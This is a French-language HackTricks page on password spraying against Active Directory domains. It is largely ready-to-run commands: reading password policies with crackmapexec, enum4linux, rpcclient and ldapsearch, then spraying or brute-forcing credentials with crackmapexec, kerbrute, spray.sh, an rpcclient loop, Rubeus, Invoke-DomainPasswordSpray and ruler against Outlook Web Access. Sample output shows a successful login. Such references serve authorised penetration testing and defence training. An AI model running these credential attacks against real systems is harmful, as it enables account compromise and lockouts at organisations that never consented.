hacktricks/windows-hardening/active-directory-methodology/password-spraying.md
2023-06-03 13:10:46 +00:00

7.5 KiB

Password Spraying (Attaque par mot de passe)

Une fois que vous avez trouvé plusieurs noms d'utilisateur valides, vous pouvez essayer les mots de passe les plus courants (gardez à l'esprit la politique de mot de passe de l'environnement) avec chacun des utilisateurs découverts.
Par défaut, la longueur minimale du mot de passe est de 7.

Les listes de noms d'utilisateur courants pourraient également être utiles: https://github.com/insidetrust/statistically-likely-usernames

Notez que vous pourriez verrouiller certains comptes si vous essayez plusieurs mots de passe incorrects (par défaut plus de 10).

Obtenir la politique de mot de passe

Si vous avez des informations d'identification utilisateur ou un shell en tant qu'utilisateur de domaine, vous pouvez obtenir la politique de mot de passe avec:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10; 
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation depuis Linux (ou autre)

  • Utilisation de crackmapexec :
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (vous pouvez indiquer le nombre de tentatives pour éviter les verrouillages):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Utilisation de kerbrute (python) - NON RECOMMANDÉ PARFOIS NE FONCTIONNE PAS
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Avec le module scanner/smb/smb_login de Metasploit :

  • En utilisant rpcclient :
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do 
    rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Depuis Windows

  • Avec la version de Rubeus qui inclut le module brute :
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Avec Invoke-DomainPasswordSpray (Il peut générer des utilisateurs à partir du domaine par défaut et il obtiendra la politique de mot de passe du domaine et limitera les tentatives en fonction de celle-ci):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Outlook Web Access

Il existe plusieurs outils pour effectuer une attaque de type password spraying sur Outlook.

Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un mot de passe / d'une petite liste de mots de passe à tester.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
    [x] Failed: larsson:Summer2020
    [x] Failed: cube0x0:Summer2020
    [x] Failed: a.admin:Summer2020
    [x] Failed: c.cube:Summer2020
    [+] Success: s.svensson:Summer2020

Google

Okta

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥